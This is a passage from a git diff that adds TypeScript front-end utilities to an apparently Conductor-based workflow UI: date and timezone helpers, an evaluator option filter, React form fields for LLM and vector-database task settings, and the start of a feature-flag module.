_isNil } from "lodash"; +import _isEmpty from "lodash/isEmpty"; + +export function durationRenderer(durationMs: number) { + const duration: Duration = intervalToDuration({ start: 0, end: durationMs }); + if (durationMs > 5000) { + if (duration?.months != null && duration.months > 0) { + return `${duration.months} months ${duration.days}d ${duration.hours}h ${duration.minutes}m ${duration.seconds}s`; + } + if (duration?.days != null && duration?.days > 0) { + return `${duration.days}d ${duration.hours}h ${duration.minutes}m ${duration.seconds}s`; + } else if (duration?.hours != null && duration.hours > 0) { + return `${duration.hours}h ${duration.minutes}m ${duration.seconds}s`; + } else { + return `${duration.minutes}m ${duration.seconds}s`; + } + } else { + return `${durationMs}ms`; + } + + //return !isNaN(durationMs) && (durationMs > 0? formatDuration({seconds: durationMs/1000}): '0.0 seconds'); +} + +export function timestampRenderer(date?: number | string) { + return !_isNil(date) && Number(date) !== 0 + ? format(new Date(date), "yyyy-MM-dd HH:mm:ss") + : ""; // could be string or number. +} + +export function timestampRendererLocal(date?: number | string) { + if (!_isNil(date) && Number(date) !== 0) { + try { + const newDate = new Date(date); + return format(newDate, "yyyy-MM-dd'T'HH:mm"); + } catch { + return ""; + } + } else { + return ""; + } +} + +// Functions exported directly from date-fns +export { addMinutes, differenceInDays, parse } from "date-fns"; + +const DATE_TIME_FORMAT = "yyyy-MM-dd HH:mm:ss"; +export const DATE_FORMAT = "yyyy-MM-dd HH:mm"; + +export const EXPECTED_DATE_FORMAT = "yyyy-MM-dd hh:mm a"; + +export const DateAdapter = AdapterDateFns; + +export const getDateTime = ( + timeframe: string, + count: string, + unit: string, + roundToMinute = false, +) => { + const now = new Date(); + const result = new Date(now); + + switch (unit) { + case "seconds": + if (timeframe === "last") { + result.setSeconds(result.getSeconds() - Number(count)); + } else { + result.setSeconds(result.getSeconds() + Number(count)); + } + break; + case "minutes": + if (timeframe === "last") { + result.setMinutes(result.getMinutes() - Number(count)); + } else { + result.setMinutes(result.getMinutes() + Number(count)); + } + break; + case "hours": + if (timeframe === "last") { + result.setHours(result.getHours() - Number(count)); + } else { + result.setHours(result.getHours() + Number(count)); + } + break; + case "days": + if (timeframe === "last") { + result.setDate(result.getDate() - Number(count)); + } else { + result.setDate(result.getDate() + Number(count)); + } + break; + case "weeks": + if (timeframe === "last") { + result.setDate(result.getDate() - Number(count) * 7); + } else { + result.setDate(result.getDate() + Number(count) * 7); + } + break; + + default: + if (timeframe === "last") { + result.setMonth(result.getMonth() - Number(count)); + } else { + result.setMonth(result.getMonth() + Number(count)); + } + break; + } + + if (roundToMinute) { + result.setSeconds(0); + result.setMilliseconds(0); + } + + return result.toString(); +}; + +export const commonlyUsedDateTime = (timeKey: string) => { + const now = new Date(); + const time = new Date(now); + switch (timeKey) { + case "yesterday": + time.setDate(time.getDate() - 1); + return { + rangeStart: time.setHours(0, 0, 0, 0).toString(), + rangeEnd: time.setHours(23, 59, 59, 999).toString(), + name: "Yesterday", + }; + case "last15Minutes": + return { + rangeStart: time.setMinutes(time.getMinutes() - 15).toString(), + rangeEnd: "", + name: "Last 15 Minutes", + }; + case "last30Minutes": + return { + rangeStart: time.setMinutes(time.getMinutes() - 30).toString(), + rangeEnd: "", + name: "Last 30 Minutes", + }; + case "last48Hours": + return { + rangeStart: time.setHours(time.getHours() - 48).toString(), + name: "Last 48 Hours", + rangeEnd: "", + }; + case "last1Hour": + return { + rangeStart: time.setHours(time.getHours() - 1).toString(), + name: "Last 1 Hour", + rangeEnd: "", + }; + case "last72Hours": + return { + rangeStart: time.setHours(time.getHours() - 72).toString(), + name: "Last 72 Hours", + rangeEnd: "", + }; + case "last4Hours": + return { + rangeStart: time.setHours(time.getHours() - 4).toString(), + name: "Last 4 Hours", + rangeEnd: "", + }; + case "lastWeek": + return { + rangeStart: time.setDate(time.getDate() - 7).toString(), + name: "Last Week", + rangeEnd: "", + }; + case "last12Hours": + return { + rangeStart: time.setHours(time.getHours() - 12).toString(), + name: "Last 12 Hours", + rangeEnd: "", + }; + + default: + return { + rangeStart: time.setHours(0, 0, 0, 0).toString(), + name: "Today", + rangeEnd: time.setHours(23, 59, 59, 999).toString(), + }; + } +}; + +export const getSearchDateTime = (start: string, end: string) => { + const formattedStartDate = new Date(Number(start)).toLocaleDateString( + "en-US", + { month: "short", day: "numeric", year: "numeric" }, + ); + const formattedEndDate = new Date(Number(end)).toLocaleDateString("en-US", { + month: "short", + day: "numeric", + year: "numeric", + }); + const startTime = new Date(Number(start)).toLocaleTimeString("en-US", { + hour: "2-digit", + minute: "2-digit", + second: "2-digit", + hourCycle: "h23", + }); + const endTime = new Date(Number(end)).toLocaleTimeString("en-US", { + hour: "2-digit", + minute: "2-digit", + second: "2-digit", + hourCycle: "h23", + }); + + if (!start) { + return `${formattedEndDate} @ ${endTime}`; + } else if (!end) { + return `${formattedStartDate} @ ${startTime}`; + } else { + return `${formattedStartDate} @ ${startTime} - ${formattedEndDate} @ ${endTime}`; + } +}; + +export const formatDateTo24Hrs = (dateString: string) => { + return format(new Date(Number(dateString)), DATE_TIME_FORMAT); +}; + +export const getRefreshRate = (count: string, type: string) => { + switch (type) { + case "minutes": + return `${Number(count) * 60 * 1000}`; + case "hours": + return `${Number(count) * 60 * 60 * 1000}`; + default: + return `${Number(count) * 1000}`; + } +}; + +export const getCombineDateTime = (date: string, time: string) => { + // Extracting date components from date + const startDate = new Date(Number(date)); + const year = startDate.getFullYear(); + const month = startDate.getMonth(); + const day = startDate.getDate(); + + // Extracting time components from time + const startTime = new Date(Number(time)); + const hours = startTime.getHours(); + const minutes = startTime.getMinutes(); + const seconds = startTime.getSeconds(); + + // Creating a new Date object with combined date and time + const combinedDateTime = new Date(year, month, day, hours, minutes, seconds); + + return combinedDateTime.getTime().toString(); +}; + +export const printableUpdatedTime = (updatedTimeInMillis?: number): string => { + if (updatedTimeInMillis == null || updatedTimeInMillis === 0) { + return "0 minutes ago"; + } + const printableUpdatedTime = formatDistanceToNow( + new Date(updatedTimeInMillis), + { + addSuffix: true, + }, + ); + return printableUpdatedTime; +}; + +export const maybeFormatDate = (dateString: string): string => { + if (_isEmpty(dateString)) { + return dateString; + } + if (isNaN(Number(dateString))) { + return dateString; + } + const formattedDate = format( + new Date(Number(dateString)), + EXPECTED_DATE_FORMAT, + ); + return formattedDate; +}; + +export const dateToEpoch = (dateString: string): number => { + // Convert the Date object to epoch time (milliseconds since 1970/01/01 UTC) + const epoch = new Date( + isNaN(Number(dateString)) ? dateString : Number(dateString), + ).getTime(); + + return epoch; +}; + +export const convertToDateObject = ( + date: Date | string | null | undefined, +): Date | null => { + if (!date) return null; + + if (date instanceof Date) { + return isValid(date) ? date : null; + } + + const parsed = parseISO(date); + return isValid(parsed) ? parsed : null; +}; + +export const formatDate = ( + date: Date | string | number | null | undefined, + dateFormat: string, +): string => { + if (!date) return ""; + + let parsedDate: Date; + + if (typeof date === "number") { + parsedDate = date > 1e12 ? new Date(date) : fromUnixTime(date); + } else if (typeof date === "string") { + parsedDate = parseISO(date); + } else { + parsedDate = date; + } + + if (!isValid(parsedDate)) return ""; + + return format(parsedDate, dateFormat); +}; + +export const formatToDateTimeString = ( + date: Date | string | number | null | undefined, +): string => { + return formatDate(date, DATE_TIME_FORMAT); +}; + +export const getStartOfDayTime = (startDate: Date | null) => { + if (!startDate || !isValid(startDate)) return null; + return startOfDay(startDate).getTime(); +}; + +export const getEndOfDayTime = (endDate: Date | null) => { + if (!endDate || !isValid(endDate)) return null; + return endOfDay(endDate).getTime(); +}; + +export interface TimeRangeTimestamps { + start: number; + end: number; +} + +// Time unit mappings with their corresponding date-fns functions +const TIME_UNIT_MAP = { + // Minutes + min: subMinutes, + m: subMinutes, + minute: subMinutes, + minutes: subMinutes, + + // Hours + hr: subHours, + h: subHours, + hour: subHours, + hours: subHours, + + // Days + day: subDays, + days: subDays, + d: subDays, +} as const; + +type TimeUnit = keyof typeof TIME_UNIT_MAP; + +export const getTimeRangeTimestamps = (range: string): TimeRangeTimestamps => { + const now = new Date(); + const nowTimestamp = now.getTime(); + + if (!range) { + // Default to 24 hours + return { start: subDays(now, 1).getTime(), end: nowTimestamp }; + } + + // Clean up input: remove extra spaces and lowercase it + const cleanedRange = range.trim().toLowerCase(); + + // Split by whitespace to get parts + const parts = cleanedRange.split(/\s+/); + + // We expect exactly 2 parts: number and unit + if (parts.length !== 2) { + // Fallback to 24 hours + return { start: subDays(now, 1).getTime(), end: nowTimestamp }; + } + + const [valueStr, unitStr] = parts; + const value = Number(valueStr); + + // Check if value is a valid number + if (isNaN(value) || value <= 0) { + return { start: subDays(now, 1).getTime(), end: nowTimestamp }; + } + + // Check if unit is supported + if (!(unitStr in TIME_UNIT_MAP)) { + return { start: subDays(now, 1).getTime(), end: nowTimestamp }; + } + + const unit = unitStr as TimeUnit; + const subtractFunction = TIME_UNIT_MAP[unit]; + const startDate = subtractFunction(now, value); + + return { + start: startDate.getTime(), + end: nowTimestamp, + }; +}; + +/** + * Formats a Unix timestamp (in seconds) as 'HH:mm:ss'. + * @param unixSeconds Unix timestamp in seconds + * @returns Formatted time string (e.g., '13:45:30') + */ +export const formatUnixTimeToTimeString = (unixSeconds: number): string => { + return format(fromUnixTime(unixSeconds), "HH:mm:ss"); +}; + +/** + * Returns a Unix timestamp (in seconds) representing the time `hoursBack` ago from `fromTimestamp`. + * If `fromTimestamp` is not provided, it defaults to now. + */ +export const getUnixTimestampHoursAgo = ( + hoursBack: number, + fromTimestamp?: number, +): number => { + const fromDate = fromTimestamp ? new Date(fromTimestamp * 1000) : new Date(); + const date = subHours(fromDate, hoursBack); + return Math.floor(date.getTime() / 1000); +}; + +/** + * Returns the current Unix timestamp in seconds. + */ +export const getCurrentUnixTimestamp = (): number => { + return Math.floor(Date.now() / 1000); +}; + +/** + * Returns the number of seconds between two dates or timestamps. + * Accepts numbers (ms), strings (ISO), or Date objects. + */ +export const getDifferenceInSeconds = ( + from: Date | string | number, + to: Date | string | number, +): number => { + const fromDate = new Date(from); + const toDate = new Date(to); + + if (isNaN(fromDate.getTime()) || isNaN(toDate.getTime())) { + throw new Error("Invalid date input to getDifferenceInSeconds"); + } + + return differenceInSeconds(toDate, fromDate); +}; + +/** + * Returns a human-friendly, fuzzy description of the time difference between two dates or timestamps. + * + * @param from - The starting date/time. Can be a Date object, ISO string, or timestamp (ms). + * @param to - The ending date/time. Can be a Date object, ISO string, or timestamp (ms). Defaults to now. + * @returns A string describing the approximate duration between the two dates (e.g., "about a minute", "2 hours"). + * Returns an empty string if either input is invalid. + * + * @example + * ```ts + * humanizeDuration(Date.now() - 45000, Date.now()); // "about a minute" + * humanizeDuration('2023-01-01T00:00:00Z'); // relative to now, e.g., "over 2 years" + * ``` + */ +export const humanizeDuration = ( + from: Date | string | number, + to: Date | string | number = Date.now(), +): string => { + const fromDate = new Date(from); + const toDate = new Date(to); + + if (!isValid(fromDate) || !isValid(toDate)) return ""; + + return formatDistance(fromDate, toDate); +}; + +/** + * Returns the current date/time rounded down to the start of the current hour (minutes, seconds, ms = 0). + */ +export const startOfCurrentHour = (): Date => { + const now = new Date(); + return setMilliseconds(setSeconds(setMinutes(now, 0), 0), 0); +}; + +/** + * Adds specified number of minutes to a given date. + * @param date Date to add minutes to + * @param minutes number of minutes to add + * @returns new Date with minutes added + */ +export const addMinutesToDate = (date: Date, minutes: number): Date => { + return addMinutes(date, minutes); +}; + +/** + * Returns a timezone offset like "+05:30" or "-04:00" + * Equivalent to Moment's `.format("Z")` + */ +export const getMomentStyleOffset = ( + timeZone: string, + date: Date = new Date(), +): string => { + const zonedDate = utcToZonedTime(date, timeZone); + const offsetMinutes = -zonedDate.getTimezoneOffset(); + + const sign = offsetMinutes >= 0 ? "+" : "-"; + const abs = Math.abs(offsetMinutes); + const hours = Math.floor(abs / 60) + .toString() + .padStart(2, "0"); + const minutes = (abs % 60).toString().padStart(2, "0"); + + return `${sign}${hours}:${minutes}`; +}; + +/** + * Returns a short time zone abbreviation (like "PDT", "IST", etc.) + * Equivalent to Moment's `.format("zz")` + */ +export const getTimeZoneAbbreviation = ( + timeZone: string, + date: Date = new Date(), +): string => { + try { + const formatter = new Intl.DateTimeFormat("en-US", { + timeZone, + timeZoneName: "short", + }); + const parts = formatter.formatToParts(date); + const tzPart = parts.find((p) => p.type === "timeZoneName"); + return tzPart?.value ?? ""; + } catch { + return ""; + } +}; + +/** + * Returns a list of all time zones. + */ +export const getTimeZoneNames = (): string[] => { + return Intl.supportedValuesOf("timeZone"); +}; + +/** + * Guesses the system time zone + */ +export const guessUserTimeZone = (): string => { + return Intl.DateTimeFormat().resolvedOptions().timeZone || "UTC"; +}; + +/** + * Formats a date using timezone-aware formatting + * @param date Date to format + * @param formatString Format string (e.g., "MMM d, yyyy hh:mm a") + * @param timeZone Timezone to use (defaults to system timezone) + * @returns Formatted date string + */ +export const formatInTimeZone = ( + date: Date | string | number, + formatString: string, + timeZone?: string, +): string => { + // Use the native formatInTimeZone from date-fns-tz + if (timeZone) { + return formatInTz(date, timeZone, formatString); + } + // Fallback to regular format if no timezone specified + const dateObj = + typeof date === "string" || typeof date === "number" + ? new Date(date) + : date; + return formatTz(dateObj, formatString); +}; + +/** + * Converts a date to a Date object using timezone-aware parsing + * @param date Date to convert + * @param timeZone Timezone to use (defaults to system timezone) + * @returns Date object + */ +export const convertToDateInTimeZone = ( + date: Date | string | number, + timeZone?: string, +): Date => { + return toDate(date, { timeZone }); +}; + +/** + * Parses a date string that is in a specific timezone and converts it to a Date object (UTC internally) + * This is useful when you have a date string like "2024-10-17T15:30:00" that represents a time in a specific timezone + * @param dateString Date string to parse + * @param timeZone Timezone the date string is in + * @returns Date object (stored as UTC internally) + */ +export const parseDateInTimeZone = ( + dateString: string, + timeZone: string, +): Date => { + // If the string already has timezone info (Z or offset), just parse it normally + if (dateString.includes("Z") || /[+-]\d{2}:\d{2}$/.test(dateString)) { + return new Date(dateString); + } + // Otherwise, treat the string as being in the specified timezone + return zonedTimeToUtc(dateString, timeZone); +}; diff --git a/ui-next/src/utils/deprecatedRadioFilter.ts b/ui-next/src/utils/deprecatedRadioFilter.ts new file mode 100644 index 0000000..0140ce5 --- /dev/null +++ b/ui-next/src/utils/deprecatedRadioFilter.ts @@ -0,0 +1,21 @@ +const options = [ + { + value: "graaljs", + label: "ECMASCRIPT", + }, + { + value: "javascript", + label: "Javascript(deprecated)", + disabled: true, + }, + { + value: "value-param", + label: "Value-Param", + }, +]; + +export const filterOptionByEvaluatorType = (evaluatorType?: string) => { + return options.filter( + (option) => option.value !== "javascript" || evaluatorType === "javascript", + ); +}; diff --git a/ui-next/src/utils/fieldHelpers.tsx b/ui-next/src/utils/fieldHelpers.tsx new file mode 100644 index 0000000..e10f4b1 --- /dev/null +++ b/ui-next/src/utils/fieldHelpers.tsx @@ -0,0 +1,744 @@ +import { FormControlLabel, Grid, Link, Switch } from "@mui/material"; +import { useSelector } from "@xstate/react"; +import { ConductorAutocompleteVariables } from "components/FlatMapForm/ConductorAutocompleteVariables"; +import PromptVariables from "components/PromptVariables"; +import MuiTypography from "components/ui/MuiTypography"; +import { path as _path, clone, setWith } from "lodash/fp"; +import { ConductorValueInput } from "pages/definition/EditorPanel/TaskFormTab/forms/ConductorValueInput"; +import { ConductorArrayMapFormBase } from "pages/definition/EditorPanel/TaskFormTab/forms/LLMFormFields/ConductorArrayMapForm"; +import { + LLMFormFieldsEvents, + LLMFormFieldsMachineContext, + LLMFormFieldsMachineEventTypes, +} from "pages/definition/EditorPanel/TaskFormTab/forms/LLMFormFields/state"; +import { useGetSetHandler } from "pages/definition/EditorPanel/TaskFormTab/forms/useGetSetHandler"; +import { FunctionComponent, useMemo } from "react"; +import { TaskDef } from "types/common"; +import { UiIntegrationsFieldType } from "types/FormFieldTypes"; +import { PromptDef } from "types/Prompts"; +import { ActorRef, State } from "xstate"; +import { MEDIA_TYPE_SUGGESTIONS } from "./constants/httpSuggestions"; + +/** LLM text complete stores the prompt in promptName; chat complete uses instructions. */ +const selectedPromptNameFromTask = (task: Partial) => + task?.inputParameters?.promptName ?? task?.inputParameters?.instructions; + +export type FieldComponentType = FunctionComponent<{ + onChange: (t: Partial) => void; + actor: ActorRef; + task: Partial; +}>; + +const DEFAULT_VALUES_FOR_ARRAY = { object: [] }; + +// this was root of many issues. though fixed i would still get rid of JSONField +export const updateField = (path: string, value: any, taskJson: any) => { + return setWith(clone, path, value, clone(taskJson)); +}; + +const fieldValue = (task: Partial, type: string) => { + const value = _path(`inputParameters.${type}`, task); + if (value != null && value !== "") { + return value; + } + if ( + type === UiIntegrationsFieldType.LLM_PROVIDER || + type === UiIntegrationsFieldType.EMBEDDING_MODEL_PROVIDER + ) { + const fromIntegration = _path(`inputParameters.integrationName`, task); + if (fromIntegration != null && fromIntegration !== "") { + return fromIntegration; + } + } + if (value != null) { + return value; + } else if ( + type === UiIntegrationsFieldType.STOP_WORDS || + type === UiIntegrationsFieldType.EMBEDDINGS + ) { + return []; + } else return ""; +}; + +const useSetterGetter = ( + type: UiIntegrationsFieldType, + task: Partial, +) => [ + (value: unknown) => updateField(`inputParameters.${type}`, value, task), + fieldValue(task, type), +]; + +const aiFieldTypes = { + [UiIntegrationsFieldType.LLM_PROVIDER]: ({ onChange, task, actor }) => { + const promptNameOptions = useSelector( + actor, + (state) => state.context.promptNameOptions, + ); + const allOptions = useSelector(actor, (state) => + state.context.llmProviderOptions.map( + ({ name }: { name: string }) => name, // Fix types + ), + ); + + // Filter options based on selected prompt's integrations + const selectedPromptName = selectedPromptNameFromTask(task); + const selectedPrompt = promptNameOptions.find( + (prompt: PromptDef) => prompt.name === selectedPromptName, + ); + + const options = useMemo(() => { + if ( + selectedPrompt?.integrations && + selectedPrompt.integrations.length > 0 + ) { + // Extract unique providers from prompt integrations (format: "provider:model") + const availableProviders = new Set( + selectedPrompt.integrations + .map((integration: string) => { + const [provider] = integration.split(":"); + return provider; + }) + .filter(Boolean), + ); + return allOptions.filter((option: string) => + availableProviders.has(option), + ); + } + return allOptions; + }, [allOptions, selectedPrompt]); + + const [setValue, ipValue] = useSetterGetter( + UiIntegrationsFieldType.LLM_PROVIDER, + task, + ); + return ( + <> + onChange(setValue(value))} + value={ipValue} + otherOptions={options} + label="LLM provider" + onFocus={() => + actor.send({ + type: LLMFormFieldsMachineEventTypes.FOCUS_LLM_PROVIDER, + task, + }) + } + /> + + ); + }, + [UiIntegrationsFieldType.MODEL]: ({ onChange, task, actor }) => { + const promptNameOptions = useSelector( + actor, + (state) => state.context.promptNameOptions, + ); + const allOptions = useSelector(actor, (state) => + state.context.modelOptions.map( + ({ api }: { api: string }) => api, // Fix types + ), + ); + const selectedProvider = task?.inputParameters?.llmProvider; + + // Filter options based on selected prompt's integrations + const selectedPromptName = selectedPromptNameFromTask(task); + const selectedPrompt = promptNameOptions.find( + (prompt: PromptDef) => prompt.name === selectedPromptName, + ); + + const options = useMemo(() => { + if ( + selectedPrompt?.integrations && + selectedPrompt.integrations.length > 0 + ) { + // Extract models for the selected provider from prompt integrations (format: "provider:model") + const availableModels = new Set( + selectedPrompt.integrations + .filter((integration: string) => { + const [provider] = integration.split(":"); + return provider === selectedProvider; + }) + .map((integration: string) => { + const [, model] = integration.split(":"); + return model; + }) + .filter(Boolean), + ); + return allOptions.filter((option: string) => + availableModels.has(option), + ); + } + return allOptions; + }, [allOptions, selectedPrompt, selectedProvider]); + + const [setValue, ipValue] = useSetterGetter( + UiIntegrationsFieldType.MODEL, + task, + ); + return ( + onChange(setValue(value))} + value={ipValue} + otherOptions={options} + label="Model" + onFocus={() => + actor.send({ + type: LLMFormFieldsMachineEventTypes.FOCUS_MODEL, + task, + }) + } + /> + ); + }, + [UiIntegrationsFieldType.PROMPT_NAME]: ({ onChange, task, actor }) => { + const promptNames = useSelector( + actor, + (state) => state.context.promptNameOptions, + ); + const [options] = useMemo(() => { + return [ + promptNames.map( + ({ name }: { name: string }) => name, // Fix types + ), + ]; + }, [promptNames]); + + const [setValue, ipValue] = useSetterGetter( + UiIntegrationsFieldType.PROMPT_NAME, + task, + ); + + const currentVariables = task.inputParameters?.promptVariables || {}; + return ( + + + + Enter a saved AI Prompt name or{" "} + + create a new one. + + + { + actor.send({ + type: LLMFormFieldsMachineEventTypes.SELECT_PROMPT_NAME, + task: setValue(value), + }); + }} + value={ipValue} + otherOptions={options} + label="Prompt Name" + onFocus={() => + actor.send({ + type: LLMFormFieldsMachineEventTypes.FOCUS_PROMPT_NAMES, + task, + }) + } + /> + + + {`Variables to be used in the prompt (e.g. "What's the weather in {$userLocation}?").`} + + + + ); + }, + [UiIntegrationsFieldType.TEXT]: ({ onChange, task }) => { + const [setValue, ipValue] = useSetterGetter( + UiIntegrationsFieldType.TEXT, + task, + ); + return ( + onChange(setValue(value))} + value={ipValue} + label="Text" + /> + ); + }, + [UiIntegrationsFieldType.VECTOR_DB]: ({ onChange, task, actor }) => { + const options = useSelector(actor, (state) => + state.context.vectorDbOptions.map( + ({ name }: { name: string }) => name, // Fix types + ), + ); + const [setValue, ipValue] = useSetterGetter( + UiIntegrationsFieldType.VECTOR_DB, + task, + ); + return ( + onChange(setValue(value))} + value={ipValue} + otherOptions={options} + onFocus={() => + actor.send({ + type: LLMFormFieldsMachineEventTypes.FOCUS_VECTORDB, + task, + }) + } + label="Vector database" + inputProps={{ + tooltip: { + title: "Vector database", + content: "Enter the vector database for this task", + }, + }} + /> + ); + }, + [UiIntegrationsFieldType.NAMESPACE]: ({ onChange, task }) => { + const [setValue, ipValue] = useSetterGetter( + UiIntegrationsFieldType.NAMESPACE, + task, + ); + return ( + onChange(setValue(value))} + value={ipValue} + label="Namespace" + inputProps={{ + tooltip: { + title: "Namespace", + content: "Enter the namespace this task will utilize", + }, + }} + /> + ); + }, + [UiIntegrationsFieldType.QUERY]: ({ onChange, task }) => { + const [setValue, ipValue] = useSetterGetter( + UiIntegrationsFieldType.QUERY, + task, + ); + return ( + onChange(setValue(value))} + /> + ); + }, + [UiIntegrationsFieldType.ID]: ({ onChange, task }) => { + const [setValue, ipValue] = useSetterGetter( + UiIntegrationsFieldType.ID, + task, + ); + return ( + onChange(setValue(value))} + /> + ); + }, + [UiIntegrationsFieldType.EMBEDDING_MODEL_PROVIDER]: ({ + onChange, + task, + actor, + }) => { + const options = useSelector(actor, (state) => + state.context.llmProviderOptions.map( + ({ name }: { name: string }) => name, // Fix types + ), + ); + + const [setValue, ipValue] = useSetterGetter( + UiIntegrationsFieldType.EMBEDDING_MODEL_PROVIDER, + task, + ); + return ( + onChange(setValue(value))} + value={ipValue} + otherOptions={options} + label="Embedding model provider" + onFocus={() => + actor.send({ + type: LLMFormFieldsMachineEventTypes.FOCUS_LLM_PROVIDER, + task, + }) + } + /> + ); + }, + [UiIntegrationsFieldType.EMBEDDING_MODEL]: ({ onChange, task, actor }) => { + const options = useSelector(actor, (state) => + state.context.embeddingModelOptions.map( + ({ api }: { api: string }) => api, + ), + ); + + const [setValue, ipValue] = useSetterGetter( + UiIntegrationsFieldType.EMBEDDING_MODEL, + task, + ); + return ( + onChange(setValue(value))} + value={ipValue} + onFocus={() => + actor.send({ + type: LLMFormFieldsMachineEventTypes.FOCUS_EMBEDDINGS_MODEL, + task, + }) + } + otherOptions={options} + label="Embedding model" + /> + ); + }, + [UiIntegrationsFieldType.URL]: ({ onChange, task }) => { + const [setValue, ipValue] = useSetterGetter( + UiIntegrationsFieldType.URL, + task, + ); + return ( + onChange(setValue(value))} + value={ipValue} + label="URL" + /> + ); + }, + [UiIntegrationsFieldType.MEDIA_TYPE]: ({ onChange, task }) => { + const [setValue, ipValue] = useSetterGetter( + UiIntegrationsFieldType.MEDIA_TYPE, + task, + ); + return ( + onChange(setValue(value))} + value={ipValue} + otherOptions={MEDIA_TYPE_SUGGESTIONS} + label="Media type" + /> + ); + }, + [UiIntegrationsFieldType.DOC_ID]: ({ onChange, task }) => { + const [setValue, ipValue] = useSetterGetter( + UiIntegrationsFieldType.DOC_ID, + task, + ); + return ( + onChange(setValue(value))} + value={ipValue} + label="Doc ID" + /> + ); + }, + [UiIntegrationsFieldType.TEMPERATURE]: ({ onChange, task }) => { + const [setValue, ipValue] = useSetterGetter( + UiIntegrationsFieldType.TEMPERATURE, + task, + ); + return ( + onChange(setValue(value))} + value={ipValue} + label="Temperature" + coerceTo="double" + /> + ); + }, + [UiIntegrationsFieldType.TOP_P]: ({ onChange, task }) => { + const [setValue, ipValue] = useSetterGetter( + UiIntegrationsFieldType.TOP_P, + task, + ); + return ( + onChange(setValue(value))} + value={ipValue} + label="TopP" + coerceTo="double" + /> + ); + }, + [UiIntegrationsFieldType.MAX_RESULTS]: ({ onChange, task }) => { + const [setValue, ipValue] = useSetterGetter( + UiIntegrationsFieldType.MAX_RESULTS, + task, + ); + return ( + onChange(setValue(value))} + value={ipValue} + label="Max Results" + coerceTo="integer" + /> + ); + }, + [UiIntegrationsFieldType.MAX_TOKENS]: ({ onChange, task }) => { + const [setValue, ipValue] = useSetterGetter( + UiIntegrationsFieldType.MAX_TOKENS, + task, + ); + return ( + onChange(setValue(value))} + value={ipValue} + coerceTo="integer" + label="Token limit" + inputProps={{ + tooltip: { + title: "Token limit", + content: + "Maximum no. of tokens to return as part of result (a token is approximately 4 characters)", + }, + }} + /> + ); + }, + [UiIntegrationsFieldType.STOP_WORDS]: ({ onChange, task }) => { + const [stopWordsVal, handleStopWordsVal] = useGetSetHandler( + { onChange, task }, + `inputParameters.stopWords`, + ); + + return ( + { + handleStopWordsVal(val); + }} + defaultObjectValue={DEFAULT_VALUES_FOR_ARRAY} + /> + ); + }, + [UiIntegrationsFieldType.INDEX]: ({ onChange, task, actor }) => { + const options = useSelector( + actor, + (state: State) => + state.context.indexOptions.map( + ({ api }: { api: string }) => api, // Fix types + ), + ); + + const [setValue, ipValue] = useSetterGetter( + UiIntegrationsFieldType.INDEX, + task, + ); + return ( + onChange(setValue(value))} + value={ipValue} + onFocus={() => + actor.send({ + type: LLMFormFieldsMachineEventTypes.FOCUS_INDEX, + task, + }) + } + label="Index" + otherOptions={options} + /> + ); + }, + [UiIntegrationsFieldType.EMBEDDINGS]: ({ onChange, task }) => { + const [setValue, ipValue] = useSetterGetter( + UiIntegrationsFieldType.EMBEDDINGS, + task, + ); + + return ( + onChange(setValue(value))} + value={ipValue} + label="Embeddings" + /> + ); + }, + [UiIntegrationsFieldType.CHUNK_SIZE]: ({ onChange, task }) => { + const [setValue, ipValue] = useSetterGetter( + UiIntegrationsFieldType.CHUNK_SIZE, + task, + ); + return ( + onChange(setValue(value))} + value={ipValue} + label="Chunk Size" + coerceTo="integer" + /> + ); + }, + [UiIntegrationsFieldType.CHUNK_OVERLAP]: ({ onChange, task }) => { + const [setValue, ipValue] = useSetterGetter( + UiIntegrationsFieldType.CHUNK_OVERLAP, + task, + ); + return ( + onChange(setValue(value))} + value={ipValue} + label="Chunk overlap" + coerceTo="integer" + /> + ); + }, + + [UiIntegrationsFieldType.INSTRUCTIONS]: ({ onChange, task, actor }) => { + const options = useSelector( + actor, + (state: State) => + state.context.promptNameOptions.map(({ name }) => name), + ); + + const [setValue, ipValue] = useSetterGetter( + UiIntegrationsFieldType.INSTRUCTIONS, + task, + ); + + const currentVariables = task.inputParameters?.promptVariables || {}; + return ( + + + + Enter a saved AI Prompt name or{" "} + + create a new one. + + + { + actor.send({ + type: LLMFormFieldsMachineEventTypes.SELECT_INSTRUCTIONS, + task: setValue(value), + }); + }} + onFocus={() => + actor.send({ + type: LLMFormFieldsMachineEventTypes.FOCUS_PROMPT_NAMES, + task, + }) + } + openOnFocus + /> + + + {`Variables to be used in the prompt (e.g. "What's the weather in {$userLocation}?").`} + + + + ); + }, + [UiIntegrationsFieldType.MESSAGES]: ({ onChange, task }) => { + const [setValue, ipValue] = useSetterGetter( + UiIntegrationsFieldType.MESSAGES, + task, + ); + + return ( + <> + + Messages with roles such as user, assistant, system, etc. + + onChange(setValue(value))} + /> + + ); + }, + [UiIntegrationsFieldType.JSON_OUTPUT]: ({ onChange, task }) => { + const [setValue, ipValue] = useSetterGetter( + UiIntegrationsFieldType.JSON_OUTPUT, + task, + ); + + return ( + <> + onChange(setValue(event.target.checked))} + /> + } + label="Enable JSON Output" + sx={{ + "& .MuiFormControlLabel-label": { + fontWeight: 600, + color: "#767676", + }, + }} + /> + + When enabled, the LLM response will be parsed as JSON. This is useful + when you expect the model to return structured data. + + + ); + }, + [UiIntegrationsFieldType.DIMENSIONS]: ({ onChange, task }) => { + const [setValue, ipValue] = useSetterGetter( + UiIntegrationsFieldType.DIMENSIONS, + task, + ); + return ( + onChange(setValue(value))} + value={ipValue} + label="Dimensions" + coerceTo="integer" + /> + ); + }, +} satisfies Record; + +const aIFormField = (type: UiIntegrationsFieldType): FieldComponentType => + aiFieldTypes[type]; + +export const fieldsToFieldsFieldsComponents = ( + fields: UiIntegrationsFieldType[], +): Array<[UiIntegrationsFieldType, FieldComponentType]> => + fields.map((field) => [field, aIFormField(field)]); diff --git a/ui-next/src/utils/flags.ts b/ui-next/src/utils/flags.ts new file mode 100644 index 0000000..bbee3e2 --- /dev/null +++ b/ui-next/src/utils/flags.ts @@ -0,0 +1,139 @@ +declare global { + interface Window { + conductor: any; + heap?: any; + authConfig?: { + domain?: string; + clientId?: string; + useIdToken?: boolean; + audience?: string; + type?: string; + issuer?: string; + idps?: any[]; //Typing as any. else would need to import okta types. and this is Oidc + useInteractionCodeFlow?: boolean; + authorizationEndpoint?: string; + tokenEndpoint?: string; + endSessionEndpoint?: string; + isTestEnvironment?: boolean; + }; + auth0Identifiers?: { + domain?: string; + clientId?: string; + }; + } +} + +export const FEATURES = Object.freeze({ + ACCESS_MANAGEMENT: "ACCESS_MANAGEMENT", + COPY_TOKEN: "COPY_TOKEN", + 